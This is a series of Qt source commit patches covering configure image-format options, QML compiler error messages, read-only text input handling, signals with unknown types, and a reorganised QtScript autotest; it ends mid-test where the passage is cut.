a/configure +++ b/configure @@ -934,6 +934,16 @@ if [ -d "$relpath/src/plugins/gfxdrivers" ]; then CFG_GFX_OFF="$CFG_GFX_AVAILABLE" # assume all off fi +CFG_IMAGEFORMAT_PLUGIN_AVAILABLE= +if [ -d "$relpath/src/plugins/imageformats" ]; then + for a in "$relpath/src/plugins/imageformats/"*; do + if [ -d "$a" ]; then + base_a=`basename "$a"` + CFG_IMAGEFORMAT_PLUGIN_AVAILABLE="${CFG_IMAGEFORMAT_PLUGIN_AVAILABLE} ${base_a}" + fi + done +fi + #------------------------------------------------------------------------------- # Set Default NaCl options #------------------------------------------------------------------------------- @@ -2140,7 +2150,7 @@ while [ "$#" -gt 0 ]; do UNKNOWN_OPT=yes fi ;; - sql-*|gfx-*|decoration-*|kbd-*|mouse-*) + sql-*|gfx-*|decoration-*|kbd-*|mouse-*|imageformat-*) # if Qt style options were used, $VAL can be "no", "qt", or "plugin" # if autoconf style options were used, $VAL can be "yes" or "no" [ "$VAL" = "yes" ] && VAL=qt @@ -2182,6 +2192,13 @@ while [ "$#" -gt 0 ]; do avail="$CFG_MOUSE_PLUGIN_AVAILABLE" fi ;; + imageformat) + avail="$CFG_IMAGEFORMAT_PLUGIN_AVAILABLE" + if [ "$OPT" != "plugin" ]; then + # png is always built in + avail="$avail png" + fi + ;; *) avail="" echo "BUG: Unhandled type $VAR used in $CURRENT_OPT" @@ -2202,6 +2219,11 @@ while [ "$#" -gt 0 ]; do # set the CFG_SQL_driver eval "CFG_SQL_$VAL=\$OPT" continue + elif [ "$VAR" = "imageformat" ]; then + [ "$OPT" = "qt" ] && OPT=yes + VAL="`echo $VAL |tr a-z A-Z`" + eval "CFG_$VAL=$OPT" + continue fi if [ "$OPT" = "plugin" ] || [ "$OPT" = "qt" ]; then diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index 64fc6a9..6b87c8e 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -437,6 +437,7 @@ void Configure::parseCmdLine() { int argCount = configCmdLine.size(); int i = 0; + const QStringList imageFormats = QStringList() << "gif" << "png" << "mng" << "jpeg" << "tiff"; #if !defined(EVAL) if (argCount < 1) // skip rest if no arguments @@ -829,6 +830,17 @@ void Configure::parseCmdLine() dictionary[ "SQL_IBASE" ] = "plugin"; else if (configCmdLine.at(i) == "-no-sql-ibase") dictionary[ "SQL_IBASE" ] = "no"; + + // Image formats -------------------------------------------- + else if (configCmdLine.at(i).startsWith("-qt-imageformat-") && + imageFormats.contains(configCmdLine.at(i).section('-', 3))) + dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "yes"; + else if (configCmdLine.at(i).startsWith("-plugin-imageformat-") && + imageFormats.contains(configCmdLine.at(i).section('-', 3))) + dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "plugin"; + else if (configCmdLine.at(i).startsWith("-no-imageformat-") && + imageFormats.contains(configCmdLine.at(i).section('-', 3))) + dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "no"; #endif // IDE project generation ----------------------------------- else if (configCmdLine.at(i) == "-no-dsp") -- cgit v0.12 From 1d9a0a2192bb9a2f2cff97fba8a7ee5668f8ae56 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Thu, 27 Jan 2011 15:30:27 +0100 Subject: fix windows configure compilation after lighthouse merge --- tools/configure/configure.pro | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tools/configure/configure.pro b/tools/configure/configure.pro index 608d876..1245646 100644 --- a/tools/configure/configure.pro +++ b/tools/configure/configure.pro @@ -65,6 +65,7 @@ HEADERS = configureapp.h environment.h tools.h\ $$QT_SOURCE_TREE/src/corelib/tools/qstringlist.h \ $$QT_SOURCE_TREE/src/corelib/tools/qstringmatcher.h \ $$QT_SOURCE_TREE/src/corelib/tools/qunicodetables_p.h \ + $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror_p.h \ $$QT_SOURCE_TREE/src/corelib/xml/qxmlstream.h \ $$QT_SOURCE_TREE/src/corelib/xml/qxmlutils_p.h \ $$QT_SOURCE_TREE/tools/shared/symbian/epocroot_p.h \ @@ -111,6 +112,7 @@ SOURCES = main.cpp configureapp.cpp environment.cpp tools.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qunicodetables.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qvsnprintf.cpp \ $$QT_SOURCE_TREE/src/corelib/kernel/qvariant.cpp \ + $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror.cpp \ $$QT_SOURCE_TREE/src/corelib/io/qurl.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qline.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qsize.cpp \ -- cgit v0.12 From 210726453ff3ca0f16f036683e17097e1b62d458 Mon Sep 17 00:00:00 2001 From: "Yury G. Kudryashov" Date: Wed, 2 Feb 2011 17:16:15 +0100 Subject: Load modules from QMAKEPATH With this commit one can install qt_pkg.pri to $someprefix/mkspecs/modules and export QMAKEPATH=$someprefix. Merge-request: 2559 Reviewed-by: Oswald Buddenhagen --- mkspecs/features/qt_config.prf | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/mkspecs/features/qt_config.prf b/mkspecs/features/qt_config.prf index 19e01a1..de1cac4 100644 --- a/mkspecs/features/qt_config.prf +++ b/mkspecs/features/qt_config.prf @@ -11,7 +11,11 @@ isEmpty(QMAKE_QT_CONFIG)|!exists($$QMAKE_QT_CONFIG) { debug(1, "Cannot load qconfig.pri!") } else { debug(1, "Loaded .qconfig.pri from ($$QMAKE_QT_CONFIG)") - for(mod, $$list($$files($$dirname(QMAKE_QT_CONFIG)/modules/qt_*.pri))):include($$mod) + for(dir, $$list($$unique($$list($$dirname(QMAKE_QT_CONFIG) \ + $$split($$list($$[QMAKE_MKSPECS]), $$DIRLIST_SEPARATOR))))) { + debug(1, "Loading modules from $${dir}") + for(mod, $$list($$files($$dir/modules/qt_*.pri))):include($$mod) + } } load(qt_functions) -- cgit v0.12 From 1ee195424a5f1430b08929c79f7f5d118a814212 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 3 Feb 2011 11:24:30 +1000 Subject: Correct assert --- src/declarative/qml/qdeclarativeengine_p.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 1cc9dc5..88b4e80 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -374,9 +374,8 @@ The returned cache is not referenced, so if it is to be stored, call addref(). QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QDeclarativeType *type, int minorVersion, QDeclarativeError &error) { Q_ASSERT(type); - Q_ASSERT(minorVersion >= 0); - if (!type->containsRevisionedAttributes()) + if (minorVersion == -1 || !type->containsRevisionedAttributes()) return cache(type->metaObject()); QDeclarativePropertyCache *rv = typePropertyCache.value(qMakePair(type, minorVersion)); -- cgit v0.12 From 20af4d6777f827eb347ee6c167f67cc2d5dad0a5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 3 Feb 2011 13:08:01 +1000 Subject: On windows xp using a higher port makes the declarativedebug* tests work I know not why... Reviewed-by: Aaron Kennedy --- .../qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp | 6 +++--- .../qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp index e3f0349..c182893 100644 --- a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp +++ b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp @@ -76,7 +76,7 @@ void tst_QDeclarativeDebugClient::initTestCase() QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!"); QDeclarativeDebugHelper::enableDebugging(); - QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3770..."); + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13770..."); new QDeclarativeEngine(this); m_conn = new QDeclarativeDebugConnection(this); @@ -84,7 +84,7 @@ void tst_QDeclarativeDebugClient::initTestCase() QDeclarativeDebugTestClient client("tst_QDeclarativeDebugClient::handshake()", m_conn); QDeclarativeDebugTestService service("tst_QDeclarativeDebugClient::handshake()"); - m_conn->connectToHost("127.0.0.1", 3770); + m_conn->connectToHost("127.0.0.1", 13770); QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established"); bool ok = m_conn->waitForConnected(); @@ -149,7 +149,7 @@ int main(int argc, char *argv[]) char **_argv = new char*[_argc]; for (int i = 0; i < argc; ++i) _argv[i] = argv[i]; - _argv[_argc - 1] = "-qmljsdebugger=port:3770"; + _argv[_argc - 1] = "-qmljsdebugger=port:13770"; QApplication app(_argc, _argv); tst_QDeclarativeDebugClient tc; diff --git a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp index a7e5f20..0911a83 100644 --- a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp +++ b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp @@ -79,11 +79,11 @@ void tst_QDeclarativeDebugService::initTestCase() QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!"); QDeclarativeDebugHelper::enableDebugging(); - QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3769..."); + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13769..."); new QDeclarativeEngine(this); m_conn = new QDeclarativeDebugConnection(this); - m_conn->connectToHost("127.0.0.1", 3769); + m_conn->connectToHost("127.0.0.1", 13769); QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established"); bool ok = m_conn->waitForConnected(); @@ -193,7 +193,7 @@ int main(int argc, char *argv[]) char **_argv = new char*[_argc]; for (int i = 0; i < argc; ++i) _argv[i] = argv[i]; - _argv[_argc - 1] = "-qmljsdebugger=port:3769"; + _argv[_argc - 1] = "-qmljsdebugger=port:13769"; QApplication app(_argc, _argv); tst_QDeclarativeDebugService tc; -- cgit v0.12 From 663f836f58e6588a7f99849d52f8f7e6c9c81bb7 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 3 Feb 2011 14:21:21 +1000 Subject: Correct error message Task-number: QTBUG-17091 --- src/declarative/qml/qdeclarativecompiler.cpp | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index a0236c0..0554897 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -1354,7 +1354,11 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl Q_ASSERT(obj->type != -1); const QList &resolvedTypes = unit->resolvedTypes(); const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type); - COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + if (type.type) { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + } else { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name))); + } } // If the "on" name doesn't resolve into a signal, try it as a @@ -1471,7 +1475,11 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop, if (prop->index == -1 && notInRevision) { const QList &resolvedTypes = unit->resolvedTypes(); const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type); - COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + if (type.type) { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + } else { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name))); + } } if (prop->index != -1) { -- cgit v0.12 From d87e2627cbc3f818e23c9c80b03cc665e5f3d444 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Thu, 3 Feb 2011 14:59:56 +1000 Subject: Don't accept input methods when a TextEdit or TextInput is read only. Neither would open a software input panel or allow text entry while read only, but on Symbian at least the text input mode indicator was still displayed giving the appearance of being able to enter text. Task-number: QT-4497 Reviewed-by: Damian Jansen --- src/declarative/graphicsitems/qdeclarativetextedit.cpp | 1 + src/declarative/graphicsitems/qdeclarativetextinput.cpp | 1 + .../qdeclarativetextedit/tst_qdeclarativetextedit.cpp | 10 ++++++++++ .../qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 10 ++++++++++ 4 files changed, 22 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index f63e4cb..17354eb 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1023,6 +1023,7 @@ void QDeclarativeTextEdit::setReadOnly(bool r) if (r == isReadOnly()) return; + setFlag(QGraphicsItem::ItemAcceptsInputMethod, !r); Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse; if (r) { diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 012d408..57e60ac 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -377,6 +377,7 @@ void QDeclarativeTextInput::setReadOnly(bool ro) if (d->control->isReadOnly() == ro) return; + setFlag(QGraphicsItem::ItemAcceptsInputMethod, !ro); d->control->setReadOnly(ro); emit readOnlyChanged(ro); diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index b82aca8..7d5101c 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -1676,6 +1676,16 @@ void tst_qdeclarativetextedit::openInputPanelOnFocus() QApplication::processEvents(); QVERIFY(view.inputContext() == 0); QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); + + // input method should not be enabled + // if TextEdit is read only. + edit.setReadOnly(true); + ic.openInputPanelReceived = false; + edit.setFocus(true); + QApplication::processEvents(); + QCOMPARE(ic.openInputPanelReceived, false); + QVERIFY(view.inputContext() == 0); + QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); } void tst_qdeclarativetextedit::geometrySignals() diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 675367c..42a0659 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -1605,6 +1605,16 @@ void tst_qdeclarativetextinput::openInputPanelOnFocus() QApplication::processEvents(); QVERIFY(view.inputContext() == 0); QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); + + // input method should not be enabled + // if TextEdit is read only. + input.setReadOnly(true); + ic.openInputPanelReceived = false; + input.setFocus(true); + QApplication::processEvents(); + QCOMPARE(ic.openInputPanelReceived, false); + QVERIFY(view.inputContext() == 0); + QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); } class MyTextInput : public QDeclarativeTextInput -- cgit v0.12 From 8611cf0ba0dbd0ddd742a02e1c60669e83cd1710 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 3 Feb 2011 17:15:36 +1000 Subject: Allow unknown types to be passed opaquely through signals Task-number: QTBUG-16683 --- src/declarative/qml/qdeclarativeboundsignal.cpp | 21 ++++-- src/declarative/qml/qdeclarativemetatype.cpp | 87 ++++++++++++++++++++++ src/declarative/qml/qdeclarativemetatype_p.h | 1 + .../data/signalWithUnknownTypes.qml | 5 ++ .../qdeclarativeecmascript/testtypes.cpp | 2 + .../declarative/qdeclarativeecmascript/testtypes.h | 9 +++ .../tst_qdeclarativeecmascript.cpp | 21 ++++++ 7 files changed, 140 insertions(+), 6 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index d5c9bfc..28dfea9 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -197,13 +197,12 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) } QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMetaMethod &method, - QObject *parent) + QObject *parent) : QObject(parent), types(0), values(0) { MetaObject *mo = new MetaObject(this); // ### Optimize! - // ### Ensure only supported types are allowed, otherwise it might crash QMetaObjectBuilder mob; mob.setSuperClass(&QDeclarativeBoundSignalParameters::staticMetaObject); mob.setClassName("QDeclarativeBoundSignalParameters"); @@ -226,9 +225,15 @@ QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMeta QMetaPropertyBuilder prop = mob.addProperty(name, "QObject*"); prop.setWritable(false); } else { - types[ii] = t; - QMetaPropertyBuilder prop = mob.addProperty(name, type); - prop.setWritable(false); + if (QDeclarativeMetaType::canCopy(t)) { + types[ii] = t; + QMetaPropertyBuilder prop = mob.addProperty(name, type); + prop.setWritable(false); + } else { + types[ii] = 0x80000000 | t; + QMetaPropertyBuilder prop = mob.addProperty(name, "QVariant"); + prop.setWritable(false); + } } } myMetaObject = mob.toMetaObject(); @@ -259,7 +264,11 @@ int QDeclarativeBoundSignalParameters::metaCall(QMetaObject::Call c, int id, voi return -1; if (c == QMetaObject::ReadProperty && id >= 1) { - QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]); + if (types[id - 1] & 0x80000000) { + *((QVariant *)a[0]) = QVariant(types[id - 1] & 0x7FFFFFFF, values[id]); + } else { + QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]); + } return -1; } else { return qt_metacall(c, id, a); diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index 4867cc5..bf1f699 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -1015,6 +1015,93 @@ QT_END_NAMESPACE Q_DECLARE_METATYPE(QScriptValue); QT_BEGIN_NAMESPACE + +bool QDeclarativeMetaType::canCopy(int type) +{ + switch(type) { + case QMetaType::VoidStar: + case QMetaType::QObjectStar: + case QMetaType::QWidgetStar: + case QMetaType::Long: + case QMetaType::Int: + case QMetaType::Short: + case QMetaType::Char: + case QMetaType::ULong: + case QMetaType::UInt: + case QMetaType::LongLong: + case QMetaType::ULongLong: + case QMetaType::UShort: + case QMetaType::UChar: + case QMetaType::Bool: + case QMetaType::Float: + case QMetaType::Double: + case QMetaType::QChar: + case QMetaType::QVariantMap: + case QMetaType::QVariantHash: + case QMetaType::QVariantList: + case QMetaType::QByteArray: + case QMetaType::QString: + case QMetaType::QStringList: + case QMetaType::QBitArray: + case QMetaType::QDate: + case QMetaType::QTime: + case QMetaType::QDateTime: + case QMetaType::QUrl: + case QMetaType::QLocale: + case QMetaType::QRect: + case QMetaType::QRectF: + case QMetaType::QSize: + case QMetaType::QSizeF: + case QMetaType::QLine: + case QMetaType::QLineF: + case QMetaType::QPoint: + case QMetaType::QPointF: + case QMetaType::QVector3D: +#ifndef QT_NO_REGEXP + case QMetaType::QRegExp: +#endif + case QMetaType::Void: +#ifdef QT3_SUPPORT + case QMetaType::QColorGroup: +#endif + case QMetaType::QFont: + case QMetaType::QPixmap: + case QMetaType::QBrush: + case QMetaType::QColor: + case QMetaType::QPalette: + case QMetaType::QIcon: + case QMetaType::QImage: + case QMetaType::QPolygon: + case QMetaType::QRegion: + case QMetaType::QBitmap: +#ifndef QT_NO_CURSOR + case QMetaType::QCursor: +#endif + case QMetaType::QSizePolicy: + case QMetaType::QKeySequence: + case QMetaType::QPen: + case QMetaType::QTextLength: + case QMetaType::QTextFormat: + case QMetaType::QMatrix: + case QMetaType::QTransform: + case QMetaType::QMatrix4x4: + case QMetaType::QVector2D: + case QMetaType::QVector4D: + case QMetaType::QQuaternion: + return true; + + default: + if (type == qMetaTypeId() || + type == qMetaTypeId() || + typeCategory(type) != Unknown) { + return true; + } + break; + } + + return false; +} + /*! Copies \a copy into \a data, assuming they both are of type \a type. If \a copy is zero, a default type is copied. Returns true if the copy was diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 0e4d61c..aab1c31 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -69,6 +69,7 @@ class QDeclarativeTypePrivate; class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeMetaType { public: + static bool canCopy(int type); static bool copy(int type, void *data, const void *copy = 0); static QList qmlTypeNames(); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml new file mode 100644 index 0000000..49293ed --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml @@ -0,0 +1,5 @@ +import Qt.test 1.0 + +MyQmlObject { + onSignalWithUnknownType: variantMethod(arg); +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp index d7f0f42..7e63bd5 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp @@ -125,6 +125,8 @@ void registerTypes() qmlRegisterExtendedType("Qt.test",1,0,"QWidget"); qmlRegisterType("Qt.test",1,0,"QPlainTextEdit"); + + qRegisterMetaType("MyQmlObject::MyType"); } #include "testtypes.moc" diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h index fb54a54..081cc4c 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h @@ -152,6 +152,11 @@ public: MyQmlObject *myinvokableObject; Q_INVOKABLE MyQmlObject *returnme() { return this; } + struct MyType { + int value; + }; + QVariant variant() const { return m_variant; } + signals: void basicSignal(); void argumentSignal(int a, QString b, qreal c); @@ -159,6 +164,7 @@ signals: void objectChanged(); void anotherBasicSignal(); void thirdBasicSignal(); + void signalWithUnknownType(const MyQmlObject::MyType &arg); public slots: void deleteMe() { delete this; } @@ -166,6 +172,7 @@ public slots: void method(int a) { if(a == 163) m_methodIntCalled = true; } void setString(const QString &s) { m_string = s; } void myinvokable(MyQmlObject *o) { myinvokableObject = o; } + void variantMethod(const QVariant &v) { m_variant = v; } private: friend class tst_qdeclarativeecmascript; @@ -178,6 +185,7 @@ private: int m_value; int m_resetProperty; QRegExp m_regExp; + QVariant m_variant; }; QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES) @@ -898,6 +906,7 @@ QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) QML_DECLARE_TYPE(MyRevisionedClass) QML_DECLARE_TYPE(MyRevisionedSubclass) +Q_DECLARE_METATYPE(MyQmlObject::MyType) void registerTypes(); diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index f66cd0b..b19b3c9 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -142,6 +142,7 @@ private slots: void compiled(); void numberAssignment(); void propertySplicing(); + void signalWithUnknownTypes(); void bug1(); void bug2(); @@ -2340,6 +2341,26 @@ void tst_qdeclarativeecmascript::propertySplicing() delete object; } +// QTBUG-16683 +void tst_qdeclarativeecmascript::signalWithUnknownTypes() +{ + QDeclarativeComponent component(&engine, TEST_FILE("signalWithUnknownTypes.qml")); + + MyQmlObject *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + MyQmlObject::MyType type; + type.value = 0x8971123; + emit object->signalWithUnknownType(type); + + MyQmlObject::MyType result = qvariant_cast(object->variant()); + + QCOMPARE(result.value, type.value); + + + delete object; +} + // Test that assigning a null object works // Regressed with: df1788b4dbbb2826ae63f26bdf166342595343f4 void tst_qdeclarativeecmascript::nullObjectBinding() -- cgit v0.12 From a97a36aac550c175a2e2045ead55ad4d263a24ed Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 2 Feb 2011 08:02:04 +0100 Subject: Split QScriptClass autotest into smaller functions Task-number: QTBUG-16746 Reviewed-by: Jedrzej Nowacki --- tests/auto/qscriptclass/tst_qscriptclass.cpp | 446 ++++++++++++++------------- 1 file changed, 236 insertions(+), 210 deletions(-) diff --git a/tests/auto/qscriptclass/tst_qscriptclass.cpp b/tests/auto/qscriptclass/tst_qscriptclass.cpp index 16f09b6..2d6daec 100644 --- a/tests/auto/qscriptclass/tst_qscriptclass.cpp +++ b/tests/auto/qscriptclass/tst_qscriptclass.cpp @@ -65,10 +65,15 @@ public: private slots: void newInstance(); - void getAndSetProperty(); + void setScriptClassOfExistingObject(); + void setScriptClassOfNonQtScriptObject(); + void getAndSetPropertyFromCpp(); void getProperty_invalidValue(); void enumerate(); - void extension(); + void extension_None(); + void extension_Callable(); + void extension_Callable_construct(); + void extension_HasInstance(); void originalProperties1(); void originalProperties2(); void originalProperties3(); @@ -611,7 +616,12 @@ void tst_QScriptClass::newInstance() QCOMPARE(obj2.scriptClass(), (QScriptClass*)&cls); QVERIFY(!obj2.equals(obj1)); QVERIFY(!obj2.strictlyEquals(obj1)); +} +void tst_QScriptClass::setScriptClassOfExistingObject() +{ + QScriptEngine eng; + TestClass cls(&eng); QScriptValue obj3 = eng.newObject(); QCOMPARE(obj3.scriptClass(), (QScriptClass*)0); obj3.setScriptClass(&cls); @@ -625,7 +635,12 @@ void tst_QScriptClass::newInstance() TestClass cls2(&eng); obj3.setScriptClass(&cls2); QCOMPARE(obj3.scriptClass(), (QScriptClass*)&cls2); +} +void tst_QScriptClass::setScriptClassOfNonQtScriptObject() +{ + QScriptEngine eng; + TestClass cls(&eng); // undefined behavior really, but shouldn't crash QScriptValue arr = eng.newArray(); QVERIFY(arr.isArray()); @@ -639,7 +654,7 @@ void tst_QScriptClass::newInstance() QVERIFY(arr.isObject()); } -void tst_QScriptClass::getAndSetProperty() +void tst_QScriptClass::getAndSetPropertyFromCpp() { QScriptEngine eng; @@ -651,7 +666,9 @@ void tst_QScriptClass::getAndSetProperty() QScriptString bar = eng.toStringHandle("bar"); QScriptValue num(&eng, 123); - // should behave just like normal + // Initially our TestClass instances have no custom properties, + // and queryProperty() will always return false. + // Hence, the properties will be created as normal JS properties. for (int x = 0; x < 2; ++x) { QScriptValue &o = (x == 0) ? obj1 : obj2; for (int y = 0; y < 2; ++y) { @@ -828,229 +845,238 @@ void tst_QScriptClass::enumerate() } } -void tst_QScriptClass::extension() +void tst_QScriptClass::extension_None() { QScriptEngine eng; + TestClass cls(&eng); + cls.setCallableMode(TestClass::NotCallable); + QVERIFY(!cls.supportsExtension(QScriptClass::Callable)); + QVERIFY(!cls.supportsExtension(QScriptClass::HasInstance)); + QScriptValue obj = eng.newObject(&cls); + QVERIFY(!obj.call().isValid()); + QCOMPARE((int)cls.lastExtensionType(), -1); + QVERIFY(!obj.instanceOf(obj)); + QCOMPARE((int)cls.lastExtensionType(), -1); + QVERIFY(!obj.construct().isValid()); +} + +void tst_QScriptClass::extension_Callable() +{ + QScriptEngine eng; + TestClass cls(&eng); + cls.setCallableMode(TestClass::CallableReturnsSum); + QVERIFY(cls.supportsExtension(QScriptClass::Callable)); + + QScriptValue obj = eng.newObject(&cls); + eng.globalObject().setProperty("obj", obj); + obj.setProperty("one", QScriptValue(&eng, 1)); + obj.setProperty("two", QScriptValue(&eng, 2)); + obj.setProperty("three", QScriptValue(&eng, 3)); + // From C++ + 